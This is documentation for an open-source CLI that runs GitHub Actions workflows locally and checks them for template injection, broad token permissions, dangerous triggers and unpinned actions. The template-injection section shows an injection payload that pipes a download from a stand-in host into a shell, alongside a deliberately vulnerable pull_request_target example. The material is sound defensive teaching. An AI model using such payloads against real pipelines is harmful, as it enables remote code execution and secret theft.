SecureCI CLI documentation

Test and vet your GitHub Actions before you push. @secureci/cli (the secureci command) runs your workflows locally, validates them, and checks them against your organisation's pipeline standards — without committing, pushing, or waiting on a CI runner.

Free and open source under the MIT license. Source on GitHub, package on npm. Comparing tools? See SecureCI vs nektos/act, actionlint & zizmor, StepSecurity and GitHub's built-in security.

What it is

A single CLI that understands GitHub Actions the way the runner does:

  • Run workflows locally — jobs in needs: order (independent jobs and matrix combinations in parallel), matrix builds, reusable workflows, composite / JavaScript / Docker actions, and the full ${{ }} / if: expression language.
  • Validate workflow and action files, flag template injection (untrusted ${{ }} input expanded into run: scripts), over-broad GITHUB_TOKEN permissions and pull_request_target / workflow_run jobs that run untrusted code, and check them against a pipeline contract (required/forbidden actions, ordering, minimum versions, SHA-pinning, permissions, forbidden triggers and advisory severity rules).
  • Inventory every action a workflow pulls in, resolve each tag to a commit SHA, and catch supply-chain drift when a tag quietly starts pointing somewhere new.

Because it evaluates expressions and if: conditions like GitHub does — honoring context-availability rules and rejecting invalid if: the same way — you get far fewer false positives than plain pattern-matching tools.

Install

npm install -g @secureci/cli
# or run without installing:
npx @secureci/cli --help

Node.js 20+ is required. To build from source instead: npm install && npm run build.

Standalone binary (no Node.js needed)

Each release has a single-file binary for Linux (x64, arm64), macOS (Intel, Apple silicon) and Windows (x64), a SHA256SUMS file, and a signed build-provenance attestation. Pick the asset for your platform: secureci-linux-x64, secureci-linux-arm64, secureci-darwin-x64, secureci-darwin-arm64 or secureci-win-x64.exe (CLI 0.6.0 or later).

# macOS / Linux (here: Linux x64)
asset=secureci-linux-x64
base=https://github.com/secure-ci/cli/releases/latest/download
curl -fsSL -O "$base/$asset" -O "$base/SHA256SUMS"
sha256sum --check --ignore-missing SHA256SUMS   # macOS: shasum -a 256 --check --ignore-missing SHA256SUMS
gh attestation verify "$asset" --repo secure-ci/cli   # optional: verify provenance
chmod +x "$asset" && sudo mv "$asset" /usr/local/bin/secureci
secureci --version
# Windows (PowerShell)
$base = "https://github.com/secure-ci/cli/releases/latest/download"
Invoke-WebRequest "$base/secureci-win-x64.exe" -OutFile secureci.exe
Invoke-WebRequest "$base/SHA256SUMS" -OutFile SHA256SUMS
$expected = (Select-String -Path SHA256SUMS -Pattern "secureci-win-x64.exe").Line.Split(" ")[0]
if ((Get-FileHash secureci.exe -Algorithm SHA256).Hash -ne $expected) { throw "Checksum mismatch" }
gh attestation verify secureci.exe --repo secure-ci/cli   # optional: verify provenance
.\secureci.exe --version

The binary bundles its own Node.js runtime, so it's large (~100 MB). JavaScript actions still need a node on PATH when they run on the host (--container-runtime host); in a job container they use the image's node. The macOS binaries are ad-hoc signed and the Windows binary is unsigned, so Gatekeeper or SmartScreen may ask you to confirm the first run (on macOS, a curl download isn't quarantined).

Homebrew (coming): a secure-ci/tap formula is planned.

First run

# See what a workflow would do, without running anything
secureci run .github/workflows/ci.yml --dry-run

# Run it for real (one container per job by default)
secureci run .github/workflows/ci.yml --input key=value

# Check a workflow's syntax
secureci validate .github/workflows/ci.yml

# Generate a ready-to-commit PR-checks workflow
secureci init workflow

# Lock the actions you use and catch supply-chain drift (commit secureci.lock)
secureci inventory            # bootstraps secureci.lock, then drift-checks
secureci inventory --check    # fail on drift (use in CI)

# Pin action tags to commit SHAs in place (keeps `# v4` for Dependabot/Renovate)
secureci pin

Where it shines

  • Fast feedback loop — iterate on a workflow in seconds instead of push-wait-repeat.
  • Enforce org-wide standards — a platform team writes one pipeline contract ("every deploy must run security-scan ≥ v1.2 first, pinned to a SHA") and every repo is checked against it, locally and in CI.
  • Supply-chain visibility — secureci inventory with a committed lockfile turns a silently moved action tag into a failing check, including tags inside the actions you use, and catches a locked repository that was deleted and re-created, and secureci pin rewrites action tags to commit SHAs in place.
  • Known vulnerabilities — inventory and validate flag actions with published security advisories (for example GHSA-mrrh-fwg8-r2c3 in tj-actions/changed-files), using the GitHub Advisory Database.
  • Machine-readable output — --format json|sarif drops straight into CI and GitHub code scanning.
  • Audit evidence — the contract, secureci.lock and reports are plain files you can commit and keep. See using output as audit evidence and the compliance mapping (PCI DSS, DORA, NIS2, ISO 27001, SOC 2 and more).

See the reference for the complete command list and flags.

Supported environments

Each job (and each matrix combination) runs in one container, started when the job begins and removed when it ends. Every run: step and JavaScript action in the job reuses it, so tools and files from earlier steps persist.

  • Container runtimes: Docker (default), Podman, or containerd (via nerdctl) — selected with --container-runtime. The image follows jobs.<id>.container, --container-image, or a runs-on → runner-image mapping you can override in config.
  • Service containers (jobs.<id>.services) — databases, caches and other sidecars start before the job, join its network (reachable by hostname like postgres:5432), wait for health checks, and are torn down with the job.
  • Host mode (--container-runtime host) — an explicit opt-in to run steps directly on your machine (see Security).

Details, image mapping and config: Container isolation.

Examples

# Run a single job with inputs and a repository variable
secureci run .github/workflows/ci.yml --job build --input ref=main --var ENV=staging

# Pass a secret by name (value read from your environment, not the command line)
secureci run .github/workflows/deploy.yml --secret TOKEN

# Read env vars, secrets, inputs and variables from .env-style files
secureci run .github/workflows/deploy.yml --env-file .env --secret-file .secrets

# Validate against a central pipeline contract, recursing into called workflows
secureci validate .github/workflows/deploy.yml \
  --contract contracts/platform-standard.yml --contract-recurse all

# Emit SARIF for GitHub code scanning
secureci validate .github/workflows/*.yml --format sarif > results.sarif

# Fail if any action drifted from the committed secureci.lock
secureci inventory --check

# Podman, a memory cap, and no network for the job containers
secureci run .github/workflows/ci.yml \
  --container-runtime podman --container-memory 512m --no-network

More patterns — events, matrices, artifacts, caching, reusable workflows, CI usage — are in DOCS.md.

Limitations

The CLI aims for high runner fidelity, but it is not the GitHub runner. The main things to know:

  • Linux containers only. windows-* / macos-* jobs run in a Linux image with a warning.
  • Jobs running in parallel share your working copy. Each job has its own container, but every job mounts the same directory, so jobs that write the same files (e.g. node_modules) can collide; use --parallel 1 to run jobs one after another.
  • actions/checkout of the current repo doesn't clone — it uses your working copy as-is (so uncommitted changes are visible); ref:/fetch-depth: are ignored. Other repositories check out for real and need a token.
  • Artifacts and cache are local stand-ins, stored under ~/.secureci/; nothing is uploaded to or downloaded from GitHub.
  • Contract checks don't evaluate if: conditions and, without --contract-recurse all, don't look inside remote composite actions / reusable workflows.

The exact scope of each is documented in DOCS.md.

Security

The CLI never silently runs steps on your machine. If the container runtime isn't available, it reports that and exits without running anything.

  • Sandboxed by default. Steps and actions run in a container, not on your host.
  • Host mode is explicit. Only --container-runtime host runs run: steps and third-party actions directly, with your user's privileges — the CLI warns and lists the remote actions first.
  • No ambient environment or secrets. On the host, steps get only a minimal allowlist plus the runner's GITHUB_*/RUNNER_* vars and the workflow's own env:; everything else is passed explicitly.
  • Secret masking everywhere. Values from --secret, --secret-file or ::add-mask:: are redacted in all output, and in container mode never appear on the client command line (passed via a 0600 env file). Prefer --secret NAME so the value stays out of your shell history too.
  • Tokens are handled carefully — sent only to the GitHub host in GITHUB_SERVER_URL / GITHUB_API_URL (github.com by default), never passed to actions, and masked in logs.

What the package accesses, and why

Installing and running secureci involves these capabilities. Each is needed for the feature named, and none runs at install time.

CapabilityWhereWhy
Shell / process spawningrun: steps, JavaScript actions, docker/podman/nerdctlRuns workflow steps in a container (or on your host with --container-runtime host). commander also loads child_process, used only for executable subcommands this CLI does not use.
Networkgithub.com, api.github.com (or the GHES host you set)Downloads actions and workflows, resolves tags to commit SHAs, and looks up security advisories for the actions you use (skipped with --offline).
Environment variablesHOME, PATH, GITHUB_*, GITHUB_TOKEN, GH_TOKENBuilds the runner environment and authenticates GitHub downloads.
Filesystem~/.secureci/, the working directory, temp dirsCaches actions and advisories, stores artifacts and config, and reads your workflow files.
Hard-coded URLsGitHub documentation and JSON Schema URLs in messages and editor hintsInformational only; the CLI does not fetch them.

No install scripts run for consumers. The published tarball contains only dist/, README.md, and LICENSE. See SECURITY.md for how to report a vulnerability.

Full details: Security: what runs where and Secret masking.

Commands at a glance

run executes the workflow (one container per job by default). To check a workflow without running anything, use validate (static syntax, expression, template-injection, trigger and contract checks) or run --dry-run (simulate, showing what would run). run prints a one-line reminder of these alternatives when it starts.

# Run / dry-run a workflow
secureci run .github/workflows/ci.yml           # executes for real
secureci run .github/workflows/ci.yml --dry-run # simulate, no execution
secureci run .github/workflows/ci.yml --job build
secureci run .github/workflows/test.yml --job test --matrix node:20 --matrix os:ubuntu-latest

# Validate (optionally against a pipeline contract), human or machine output
secureci validate .github/workflows/ci.yml
secureci validate .github/workflows/deploy.yml --contract contracts/standard.yml
secureci validate .github/workflows/ci.yml --format json
secureci validate .github/workflows/ci.yml --offline  # no network (cached advisories only)

# Inventory the actions a workflow uses, and track drift
secureci inventory                 # bootstrap secureci.lock, or drift-check if it exists
secureci inventory --dry-run       # just print the resolved inventory as JSON
secureci inventory --update-lock   # (re)write ./secureci.lock
secureci inventory --check         # compare against ./secureci.lock, fail on drift

# Pin action tags to commit SHAs in place (owner/repo@<sha> # v4)
secureci pin                       # every workflow, plus the local actions they use
secureci pin --check               # fail if anything would change (for CI)

# Generate a PR-checks workflow, list workflows, manage config/cache
secureci init workflow
secureci list
secureci config list
secureci cache path

Passing inputs, env and secrets to run:

# Inputs for workflow_dispatch / workflow_call
secureci run wf.yml --input key=value

# Env vars for steps (a bare NAME passes $NAME from your shell)
secureci run wf.yml --env NPM_CONFIG_REGISTRY
secureci run wf.yml --env NPM_CONFIG_REGISTRY=https://example.com

# Secrets (a bare NAME reads $NAME from your environment, keeping the value
# out of the process list and shell history)
secureci run wf.yml --secret TOKEN
secureci run wf.yml --secret TOKEN=xxx

# Repository variables for the vars context
secureci run wf.yml --var ENVIRONMENT=staging

Values from files (--env-file, --secret-file, --input-file, --var-file)

Each of --env, --secret, --input and --var has a file counterpart that reads KEY=value pairs from a .env-style file (CLI 0.6.0 or later):

secureci run wf.yml --env-file .env --secret-file .secrets \
  --input-file inputs.env --var-file vars.env
  • Precedence: every flag is repeatable and files are read in order, so later files override earlier ones. Explicit --env/--secret/--input/--var flags override values from files.
  • Secrets: every value from a --secret-file is masked in output like --secret, and in container mode reaches the container the same way (never on the client's command line; see Secret Masking). On Linux and macOS, the CLI warns if a secret file is readable by group or others (chmod 600 it); values are never logged.
  • Errors: a missing file, or a line that can't be parsed, stops the run before anything executes. Parse errors name file:line but never echo the line, since it may hold a secret.
  • Config defaults: env-file, secret-file, input-file and var-file in the config file name files to read when the matching flag isn't given (relative paths resolve against the current directory). Passing the flag replaces the config default rather than adding to it.

File format:

# Full-line comments and blank lines are ignored
export NAME=value            # optional "export ", inline comment after whitespace
URL=https://x.test/#anchor   # the URL keeps its #: a comment needs whitespace before it
EMPTY=
SINGLE='kept literally: $HOME \n # not a comment'
DOUBLE="escapes: \n newline, \t tab, \" quote, \\ backslash"
PEM="-----BEGIN KEY-----
multi-line values work in double quotes
-----END KEY-----"
  • Keys are letters, digits, _ and - (not starting with a digit); whitespace around the key and around an unquoted value is trimmed. A later duplicate key wins.
  • Unquoted values run to the end of the line or to a # preceded by whitespace.
  • Single-quoted values are literal and must close on the same line.
  • Double-quoted values may span lines and support the escapes \n, \r, \t, \" and \\; any other backslash is kept as written. No ${VAR} expansion is done.
  • CRLF line endings and a UTF-8 byte order mark are accepted. Only a comment may follow a closing quote.

Container isolation

Flags

FlagDescription
--container-runtime <name>auto|docker|podman|containerd|host (default: docker, overridable via ~/.secureci/config.yml). If the runtime isn't available, the run stops before any step runs. host runs steps directly on this machine, without a container (opt-in only)
--container-image <image>Image for every job without jobs.<id>.container, overriding the runs-on mapping (see below)
--container-timeout <ms>Per-step timeout in milliseconds
--container-memory <limit>Memory limit, e.g. 512m
--no-networkDisable container network access (networking is on by default, like GitHub-hosted runners)
--allow-networkAllow container network access; only needed to override allow-network: false in the config file

containerd is driven via its Docker-CLI-compatible front-end, nerdctl.

How container mode works

  • Each job (and each matrix combination) gets one container, started when the job begins and removed when it ends, including when a step fails or you press Ctrl-C. Every run: step and JavaScript action in the job runs in it via exec, so files, installed packages and tools from earlier steps are still there. The current directory is mounted at /secureci-workspace.
  • The image is chosen in this order:
    1. jobs.<id>.container (string or { image, env } form; options, volumes, ports and credentials are ignored with a warning). With --container-runtime host it's ignored and the job runs on the host.
    2. --container-image, for every job.
    3. The job's runs-on label, mapped to a runner-like image: ubuntu-latest → catthehacker/ubuntu:act-latest, ubuntu-24.04 / 22.04 / 20.04 → catthehacker/ubuntu:act-24.04 / act-22.04 / act-20.04 (the images nektos/act uses, with Node.js, git, curl and common runner tools). Add or override labels with runner-images in the config file (below).
    4. container-image from the config file, else catthehacker/ubuntu:act-22.04, for labels with no mapping (self-hosted, custom), with a warning. windows-* / macos-* jobs also run in this Linux image, with a warning.
  • The runner images are large (about 2 GB unpacked) and pulled on first use.
  • JavaScript actions run with the image's own node. If an image has no Node.js (e.g. a plain ubuntu:22.04 via --container-image), they fail with a clear error.
  • jobs.<id>.services are supported: see Service Containers.
  • --container-timeout fails a step that runs longer than the given time, and kills its processes in the job container (including background ones it started).

Security: what runs where

The CLI never falls back to running steps on your machine: if the container runtime isn't available, it reports that and exits without running anything. Only with --container-runtime host (an explicit opt-in, also settable in the config file) do run: steps and remote JavaScript and composite actions run directly on your machine with your user's privileges. Any third-party action can read your files and use your network. The CLI prints a warning listing the remote actions before such a job runs. Use a container runtime to sandbox them.

  • On the host, steps and actions don't inherit your shell's environment: only PATH, HOME, locale, temp-dir, proxy/CA and container-client variables are passed, plus the runner's GITHUB_* / RUNNER_* variables and the workflow's own env:. Pass anything else explicitly with --env NAME (value from your shell) or --env NAME=value, and secrets with --secret NAME.
  • In container mode, env values never appear on the container client's command line (see Secret Masking below).

actions/checkout

actions/checkout of the repository being run (no repository: input, or the current repository) doesn't clone anything: the workspace already is your working copy, so later steps see your uncommitted changes, no network or token is needed, and your .git is never touched. The step's ref and commit outputs are github.ref and github.sha.

  • path: copies the working copy into that subdirectory (skipping the copy itself) and removes it when the job ends. A non-empty directory there that the CLI didn't create is never overwritten; the step fails instead.
  • ref: and other inputs (fetch-depth, submodules, ...) are ignored, with a warning for a ref other than the current one.
  • Checkouts of other repositories run the real action, which needs a token: pass one with --secret GITHUB_TOKEN (reads $GITHUB_TOKEN). It becomes both secrets.GITHUB_TOKEN and github.token. No token is picked up implicitly, since every action in the run could read it.
  • --no-local-checkout runs the real action for the current repository too.

Global configuration

SecureCI reads defaults from ~/.secureci/config.yml (created on first secureci config set, or editable by hand). Config keys match the CLI flag names (kebab-case, minus the leading --). CLI flags always take precedence over the config file.

secureci config set container-runtime podman   # persist a default
secureci config get container-runtime
secureci config list
secureci config unset container-runtime        # revert to the built-in default (docker)
secureci config path                           # print the config file location

Supported keys: container-runtime, container-image, container-timeout, container-memory, allow-network, parallel (see Parallel jobs), env-file, secret-file, input-file, var-file, and runner-images.<label>.

env-file, secret-file, input-file and var-file are default files for the matching run flags (Values from files). config set stores one path; edit the file by hand for a list, read in order:

# ~/.secureci/config.yml
secret-file: .secrets
env-file:
  - .env
  - .env.local

runner-images.<label> maps a runs-on label to an image:

secureci config set runner-images.ubuntu-latest node:20-bookworm   # map one runs-on label
secureci config set runner-images.my-self-hosted-runner my/image:1
# ~/.secureci/config.yml
runner-images:
  ubuntu-latest: node:20-bookworm
  my-self-hosted-runner: my/image:1

Template injection checks (validate)

GitHub substitutes every ${{ }} expression into a run: script before the shell sees it. If the expression is text an outside contributor controls, such as a pull request title, that text becomes part of the script (CLI 0.6.0 or later):

on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      # A PR titled `"; curl https://evil.example | sh; echo "` runs that command
      - run: echo "Thanks for ${{ github.event.pull_request.title }}"

secureci validate reports this as an error (it is a code-execution path), with the SARIF rule secureci/injection:

[ERROR]   [ERROR] jobs.greet.steps[0].run: ${{ github.event.pull_request.title }} expands untrusted input (github.event.pull_request.title) into the shell script, so a crafted value can run arbitrary commands. Pass it through env: (e.g. env: TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" instead.

The fix is to pass the value through the environment and quote the variable, so the shell treats it as data:

- run: echo "Thanks for $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

What is checked:

  • Where: run: scripts, and the script input of actions/github-script (where the fix is process.env.NAME). Expressions in env: values are never flagged, since that is the fix; nor are other actions' with: inputs.
  • Untrusted input: the list kept in UNTRUSTED_CONTEXTS, based on GitHub Security Lab's untrusted-input list:
    • github.head_ref
    • issue, pull request, discussion, comment and review titles and bodies (github.event.issue.title, github.event.pull_request.body, github.event.comment.body, github.event.review.body, …)
    • branch names and labels from the pull request head: github.event.pull_request.head.ref, .head.label, .head.repo.default_branch, and github.event.workflow_run.head_branch / .pull_requests.*.head.ref
    • commit messages and author/committer names and emails: .message, .author.name, .author.email, .committer.name and .committer.email of github.event.head_commit and github.event.commits.*; .message, .author.name and .author.email of github.event.workflow_run.head_commit; and github.event.workflow_run.display_title
    • label names on the issue or pull request (github.event.issue.labels.*.name, github.event.pull_request.labels.*.name) and wiki github.event.pages.*.page_name
    • inputs of workflow_dispatch / workflow_call (inputs.<name> and github.event.inputs.<name>), except inputs typed boolean, number, choice or environment, which can't hold arbitrary text
  • Not flagged: values an outsider can't shape into a payload, e.g. github.sha, github.run_id, github.repository, github.actor, github.ref, github.event.pull_request.number, secrets.*, matrix.*, steps.*.outputs.*, env.*.
  • Expressions are analyzed, not pattern-matched. contains(), startsWith(), endsWith(), comparisons and ! produce a boolean, so ${{ contains(github.event.issue.title, 'bug') }} is safe. format(), join(), fromJSON() and || / && pass their operands through, and toJSON(github.event) (or any object holding untrusted fields) is flagged. Each offending expression is reported separately.
  • Local composite actions (uses: ./path) and local reusable workflows (jobs.<id>.uses: ./path.yml) are followed recursively, with error paths like jobs.build.steps[1] > ./.github/actions/greet > steps[0].run. An action input the caller fills with untrusted input (with: name: ${{ github.event.issue.title }}), or whose default: is untrusted, is treated as untrusted inside that action. Remote actions and workflows are not inspected.
  • Validating a composite action file on its own checks its steps for untrusted contexts, but doesn't flag its own inputs.*, since what callers pass is unknown.

Limitations: data that reaches a script indirectly (for example an untrusted value written to a step output or to env: and then expanded as ${{ steps.x.outputs.y }} or ${{ env.Y }}) is not tracked. github.ref / github.ref_name are not flagged, because only someone with push access to the repository chooses those names.

GITHUB_TOKEN permissions (validate)

Every job gets a GITHUB_TOKEN. Without a permissions: block it gets the repository's (or organization's) default permissions, which on many repositories is read/write on every scope. secureci validate flags workflows that leave the token broader than it needs to be. These findings are warnings (rule secureci/permissions in SARIF): they're reported, but validation still passes. A contract can make them errors (CLI 0.6.0 or later).

FindingReported atWhen
No permissions declaredpermissionsThe workflow has no top-level permissions: and at least one job has none either. The message names those jobs. A job with its own permissions: is covered.
write-all at the top levelpermissionspermissions: write-all gives every job write access to every scope.
A write scope at the top levelpermissions.<scope>For example contents: write in the top-level block, which applies to every job. Declare it on the job that needs it instead.
write-all on a jobjobs.<id>.permissionsThe job's token can write to every scope. List only the scopes it needs.
  • Fine as they are: permissions: {} (no access), permissions: read-all, and any mapping of read / none scopes, at either level. Write scopes on a job (not write-all) are not flagged; that's where they belong.
  • Reusable workflows are exempt from the missing-block check. A workflow whose only trigger is on: workflow_call runs with the token of the job that calls it, so the caller is where permissions are set. If it has any other trigger as well (for example workflow_dispatch), it is checked like any other workflow. The write-all and write-scope checks still apply to reusable workflows.
  • Job-level permissions replace the top-level ones, they don't add to them. When you move a write scope to a job, repeat the read scopes that job still needs:
permissions:
  contents: read # every job: read-only
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test
  release:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: write # only this job can push tags and create releases
    steps:
      - uses: actions/checkout@v4
      - run: npm run release

Dangerous triggers (pull_request_target, workflow_run)

secureci validate flags workflows that a fork could use to run code with your repository's privileges (a "pwn request"). Workflows triggered by pull_request_target or workflow_run run with the base repository's secrets and a read/write GITHUB_TOKEN, even when the pull request (or the run that triggered them) came from a fork (CLI 0.6.0 or later).

on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }} # the fork's code
      - run: npm ci && npm test # runs it with secrets: error
  • Error: a job checks out untrusted code with actions/checkout, then later in the same job runs a run: step or a local action (uses: ./…). The finding is reported once per job, at the checkout step, and names the step that executes the code. A checkout counts as untrusted when its ref: or repository: references github.event.pull_request.head.sha, .head.ref or .head.repo.full_name, github.event.pull_request.merge_commit_sha, github.head_ref, github.event.workflow_run.head_sha, .head_branch, .head_commit.id or .head_repository.full_name, or a literal refs/pull/… ref.
  • What actions/checkout does about it. Since June 2026 actions/checkout refuses to check out a fork's code under these triggers unless the step sets allow-unsafe-pr-checkout: true (changelog). The finding stays an error either way, and from CLI 0.7.0 its message says which case applies:
    • v7, a floating major tag (@v4), a branch (@main) or no version: the checkout is refused by default, so the step fails until someone adds the opt-out, which would run the fork's code.
    • A commit SHA, a minor or patch version (@v4.1.0, @v4.2) or @v1: the default doesn't apply, so the checkout succeeds. A SHA counts as unprotected because its version can't be told offline.
    • allow-unsafe-pr-checkout: true (or 'true'): an explicit opt-out of the protection.
  • Warning instead of error when the job's if: is a label check (github.event.pull_request.labels…, e.g. contains(github.event.pull_request.labels.*.name, 'safe to test'), or github.event.label.name): a maintainer must approve each run, so review the pull request's code before applying the label.
  • Warning instead of error when the checkout step carries a # secureci-allow dangerous-trigger: <reason> comment, at the end of the step's first line or on a line of its own directly above it (CLI 0.7.0 or later). Use it when a team accepts the risk, for example while workflows still track the org's own actions on @main. The warning names the comment and quotes the reason, so the exception shows up in every report. A comment with no reason doesn't downgrade anything, and the error says a reason is needed.
    steps:
      # secureci-allow dangerous-trigger: org actions stay on main until the v2 release
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm test
  • Warning for the trigger alone (path on.<trigger>, once per privileged trigger), so teams can audit every such workflow. It is omitted when a job-level finding above is reported, so a workflow is never reported twice for the same trigger.
  • Not flagged: a checkout of the base (no ref:, or e.g. github.event.pull_request.base.sha), and an untrusted checkout with no later run: step or local action in that job (e.g. only a remote action that reads the files).
  • Every form of on: is recognized (on: pull_request_target, a list, or a map). Warnings don't fail validation; an error does. In SARIF output these findings use the rule secureci/dangerous-trigger.

Limitations: only actions/checkout steps are inspected (a git fetch/gh pr checkout in a run: step is not), the untrusted ref must appear directly in ref:/repository: (not via an env: variable or a step output), a remote action run after the checkout is not treated as executing it, environment: protection rules are not recognized as a gate, and jobs that call a reusable workflow are not inspected. To forbid these triggers outright, use forbidden-triggers in a pipeline contract.

Pipeline contracts (validate --contract)

In organizations with a central repo of reusable workflows/actions, a platform team can define a minimum pipeline standard — required actions, forbidden actions, and (optionally) the order required actions must run in — and have SecureCI check a caller's workflow against it.

# contracts/platform-standard.yml
ordering: relative # or "strict" (default: relative)
required:
  - uses: org/security-scan
    min-version: v1.2.0
  - uses: org/deploy
forbidden:
  - uses: org/legacy-deploy # forbid entirely, any version
  - uses: org/deploy
    version: v1 # forbid only this exact version
secureci validate .github/workflows/deploy.yml --contract contracts/platform-standard.yml

If the caller's workflow calls org/deploy before org/security-scan (or uses org/legacy-deploy, or omits a required action, or pins org/security-scan below v1.2.0), the command exits non-zero with a message like:

[INFO] Validating workflow...
[INFO] Validating against pipeline contract: contracts/platform-standard.yml
[ERROR] Validation failed:
[ERROR]   [ERROR] required[1]: Required action "org/deploy" must run after "org/security-scan", but it does not
  • uses: steps in the workflow are checked, including those inside local composite actions (uses: ./path) and local reusable workflows (jobs.<id>.uses: ./path.yml), resolved recursively from the repository root, so wrapping an action doesn't hide it. With --contract-recurse all, remote composite actions and reusable workflows (org/repo/...@ref) are downloaded (through the action cache) and inspected too; one that can't be fetched is a warning. --contract-recurse none checks only the workflow file itself. The default, local, stays offline. Error paths show the call path, e.g. jobs.release > ./.github/workflows/release.yml > jobs.ship.steps[0]. Cycles and nesting deeper than 10 levels are errors; a local reference that can't be found is a warning.
  • Ordering follows what GitHub guarantees: steps of a job run in order (a composite action's steps in place of its uses: step), and a job runs after every job it needs, directly or transitively (a reusable-workflow call's jobs run after the call's own needs:). Two required actions in jobs with no needs: relationship may run in parallel, so neither counts as "after" the other: that's an ordering error, whatever the jobs' order in the YAML.
  • ordering: relative (default): required actions must appear in that relative order, with any other steps allowed in between. ordering: strict: required actions must run back-to-back, with no other step in between; across jobs, only the last step of a job followed by the first step of a job that directly needs it counts.
  • A missing required action, a required action below min-version, an ordering violation, or any forbidden-action match is an error (validation fails). A required action whose version can't be compared (e.g. pinned to a branch or SHA) is a warning. Ordering is checked for every required action that is present, including one below min-version (its first occurrence is used), and errors name the contract's own required[N] entry.

Supply-chain pinning

A contract can require that every remote action is pinned to a full commit SHA and restrict which owners may be used — enforced across the same flattened sequence, so a tag or an unlisted owner can't hide inside a composite action or reusable workflow:

pins:
  required: true # every remote action must be pinned to a 40-char commit SHA
  allow:
    - actions # trust these owners (or owner/repo) by tag
allowed-owners: # if set, every remote action's owner must be listed
  - actions
  - my-org

Local (./) and docker:// references are exempt from SHA pinning. An unpinned action or a disallowed owner is an error, reported at the step's call path.

To fix unpinned actions, run secureci pin --contract <file>: it rewrites tags to SHAs and leaves the pins.allow entries on their tags.

Requiring a lockfile

A contract can require every repository to commit a lockfile that covers what its workflows use (CLI 0.5.0 or later):

lockfile:
  required: true
  • The lockfile must exist at the root of the workflow's repository: secureci.lock, or GitHub's .github/workflows/actions.lock when that is the only one. A missing lockfile is an error at lockfile.
  • Every remote action and reusable workflow in the flattened sequence must be listed in it. With --contract-recurse all, that includes the actions inside remote composite actions and reusable workflows. Each missing reference is an error at its call path. The owner/repo part is matched case-insensitively.
  • This check runs offline. It confirms the lock covers the workflow; whether each locked commit still matches is secureci inventory --check (or inventory: check in the GitHub Action).

--contract runs the normal syntax validation too, and currently applies to workflow files only (not standalone actions, since the contract is about a job/step sequence). Passing --contract against an action file fails with a clear error.

Permissions policy

A contract can turn the GITHUB_TOKEN permissions checks into a policy whose violations are errors (CLI 0.6.0 or later):

permissions:
  required: true # every workflow (or every job) must declare permissions
  max: # ceiling for the top-level block; write scopes only per job
    contents: read
  • required: true: a workflow without a top-level permissions: block in which any job also has none is an error at permissions, naming the jobs. Declaring permissions on every job satisfies it too.
  • max: a ceiling for the workflow's top-level permissions:. Each scope there must be at or below its level in max, and scopes not listed in max are capped at none. A scope above the ceiling is an error at permissions.<scope>. read-all and write-all at the top level are errors unless max allows that level for every scope. Job-level permissions are not capped, so write scopes go on the jobs that need them. A workflow with no top-level block, where any job relies on the default token, is also an error, since that token isn't held to the ceiling.
  • Workflows whose only trigger is workflow_call need no top-level block for either option, as above. A top-level block they do declare is still held to max.
  • When the contract turns a warning into an error, only the error is reported. Write scopes and write-all that the contract doesn't cover stay warnings.
  • Only the validated workflow file is checked, not the reusable workflows it calls; validate those files too (the GitHub Action validates every file in .github/workflows by default).
  • The contract file is checked strictly: permissions accepts only required (true or false) and max, and max takes GitHub's scope names (actions, artifact-metadata, attestations, checks, contents, deployments, discussions, id-token, issues, models, packages, pages, pull-requests, repository-projects, security-events, statuses) with the values read, write or none. Anything else fails with an error naming the key.

Forbidding triggers

A contract can forbid events outright, whatever the workflow does with them (CLI 0.6.0 or later):

forbidden-triggers:
  - pull_request_target
  - workflow_run

Each forbidden event in a workflow's on: (string, list or map form) is an error at on.<event>, reported with the SARIF rule secureci/contract. Only the validated workflow's own on: is checked: a reusable workflow it calls runs under the caller's event. The value must be a list of strings.

Advisory severity threshold

secureci validate flags actions with known security advisories. By default, critical and high advisories are errors and medium and low ones are warnings. A contract can move that line (CLI 0.6.0 or later):

advisories:
  fail-on: medium # critical | high (default) | medium | low

Findings at or above fail-on become errors and the rest warnings. Any other value is a contract error.

Contracts from another repository

A platform team can keep one contract in a central repository and have every repo check against it. Pass --contract the same owner/repo/path@ref form as a remote reusable workflow (CLI 0.4.0 or later):

secureci validate .github/workflows/deploy.yml \
  --contract my-org/standards/contracts/platform.yml@4f1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c
  • A local file always wins. If the value names a file that exists, it is read from disk.
  • Pin to a commit SHA. A moving ref (@main, @v1) still works but prints a warning, because the contract's owner can then change the standard without any change in your repository.
  • The version used is recorded. Text output logs the commit; --format json adds a top-level contract object and SARIF adds it under runs[0].properties.contract (source, ref, commit, pinned), so audit evidence shows exactly which version of the standard was enforced.
  • Private repositories need a token that can read them: GITHUB_TOKEN/GH_TOKEN or gh auth login locally. In the GitHub Action, the default github.token can't read other private repositories, so pass a PAT or GitHub App token through the github-token input. Downloads use the same cache as remote actions, and GitHub Enterprise Server via GITHUB_SERVER_URL.

Contract limitations (v1 scope)

  • Without --contract-recurse all, remote composite actions and reusable workflows are not inspected; only the reference itself is matched.
  • strategy.matrix jobs are checked once against the job's steps: as authored, not once per combination: uses: can't contain expressions, so a matrix can only change whether steps run (via if:), not which actions they use.
  • if: conditions aren't evaluated. A required action that only appears in steps or jobs with an if: (other than success() / always()) is reported as a warning that it may be skipped; a forbidden action counts even under an if:.
  • Action references are matched as exact strings against uses: (minus any @version suffix) — this covers the common owner/repo or owner/repo/path marketplace-action form, as well as local paths (./.github/actions/foo, matched with no version). docker://image references are matched as-is (the whole string, including docker://) and have no version-pin concept.
  • The owner/repo part of an action reference is matched case-insensitively, as GitHub resolves it (Org/Action matches a contract entry for org/action). A path inside the repo (owner/repo/Path), local paths and docker:// references (whose tags are case-sensitive) are matched exactly.

Machine-readable output (--format)

secureci validate can emit results as JSON or SARIF for CI, instead of the default human-readable text. Both cover syntax validation and --contract findings, exit non-zero when validation fails, and print nothing but the report to stdout.

secureci validate .github/workflows/ci.yml --format json
secureci validate .github/workflows/ci.yml --contract contract.yml --format sarif > results.sarif
